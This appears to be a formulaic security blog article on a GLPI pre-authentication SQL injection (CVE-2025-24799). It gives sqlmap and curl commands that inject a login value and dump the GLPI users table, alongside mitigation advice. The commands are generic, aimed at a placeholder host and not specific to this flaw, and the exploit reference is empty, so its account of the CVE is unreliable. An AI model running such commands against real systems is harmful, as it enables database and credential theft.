This article discusses CVE-2025-24799, a critical Pre-Authentication SQL Injection vulnerability affecting GLPI, an open-source IT asset management tool. The exploit allows attackers to execute arbitrary SQL queries without authentication, potentially leading to data breaches, privilege escalation, or complete system compromise.
Exploit Reference:
You Should Know:
1. Understanding Pre-Auth SQL Injection
Pre-Authentication SQL Injection occurs when an application processes malicious SQL queries before verifying user credentials. Attackers exploit weak input validation to manipulate database operations.
2. Testing for SQL Injection Vulnerabilities
Use the following commands to test for SQLi vulnerabilities:
Linux (Using SQLmap):
sqlmap -u "http://target.com/login.php" --data="username=admin&password=pass" --risk=3 --level=5
Windows (Using PowerShell & Invoke-SQLi):
Invoke-SQLi -Target http://target.com/login.php -Parameter "username" -Technique "ErrorBased"
3. Exploitation Steps (For Ethical Testing)
1. Identify the vulnerable parameter:
curl -X POST "http://target.com/login" --data "user=admin'--&pass=123"
2. Extract database information:
sqlmap -u "http://target.com/login" --data="user=admin&pass=123" --dbs
3. Dump table data:
sqlmap -u "http://target.com/login" --data="user=admin&pass=123" -D glpi -T users --dump
4. Mitigation Steps
- Input Sanitization: Use prepared statements with parameterized queries.
- WAF Rules: Deploy ModSecurity or Cloudflare WAF to block SQLi attempts.
- Patch Management: Apply the latest GLPI security updates.
What Undercode Say:
Pre-Auth SQLi remains a severe threat due to poor coding practices. Always:
– Use ORM frameworks (like Hibernate, Eloquent) to avoid raw SQL.
– Implement rate-limiting and fail2ban to block brute-force attacks.
– Monitor logs for suspicious activity:
grep "SQL syntax error" /var/log/apache2/error.log
Additional Commands for Security Audits:
- Check open database ports:
nmap -p 3306,5432 target.com
- Test for blind SQLi:
sqlmap -u "http://target.com/search?id=1" --technique=BLIND
- Harden MySQL/MariaDB:
mysql_secure_installation
Expected Output:
A secure system with patched SQLi vulnerabilities, active WAF filtering, and monitored database access logs.
